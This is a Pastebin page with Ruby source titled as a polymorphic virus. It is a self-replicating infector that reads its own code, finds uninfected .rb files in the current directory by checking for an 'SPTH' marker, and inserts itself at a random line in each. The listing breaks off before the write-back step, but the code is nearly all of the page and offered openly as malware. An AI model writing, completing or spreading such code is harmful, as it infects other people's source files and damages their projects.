Advertisement
FlyFar

Doom - Ruby Polymorphic Virus

Jan 8th, 2023 (edited)
1,535
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.93 KB | Cybersecurity | 1 0
  1. # SPTH
  2. mycode = ""
  3. mych = File.open(__FILE__)
  4. myc = mych.read(1)
  5. while myc != nil
  6. mycode += myc
  7. myc = mych.read(1)
  8. end
  9. i = 0
  10. while myc != "SPTH"
  11. myc = mycode[i, 4]
  12. i += 1
  13. end
  14. mycode = "# S" + mycode[i, 1382]
  15. cdir = Dir.open(Dir.getwd)
  16. cdir.each do |a |
  17.     if File.ftype(a) == "file"
  18. then
  19. if a[a.length - 3, a.length] == ".rb"
  20. then
  21. if a != File.basename(__FILE__) then
  22. fcode = ""
  23. fle = open(a)
  24. spth = fle.read(1)
  25. while spth != nil
  26. fcode += spth
  27. spth = fle.read(1)
  28. end
  29. fle.close
  30. i = 0
  31. inf = 0
  32. lc = 0
  33. while i < fcode.length
  34. i = i + 1
  35. if fcode[i, 4] == "SPTH"
  36. then
  37. inf = 1
  38. end
  39. if fcode[i, 1] == 10. chr then
  40. lc += 1
  41. end
  42. end
  43. if inf != 1 then
  44. ln = rand(lc)
  45. precode = ""
  46. i = 0
  47. j = 0
  48. while i < ln
  49. precode += fcode[j, 1]
  50. j += 1
  51. if fcode[j, 1] == 10. chr then
  52. i += 1
  53. end
  54. end
  55. newcode = precode + 13. chr + 10. chr + mycode + 13. chr + 10. chr
  56. while j <= fcode.length
  57. newcode += fcode[j, 1]
  58. j += 1
  59. end
Tags: Ruby
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement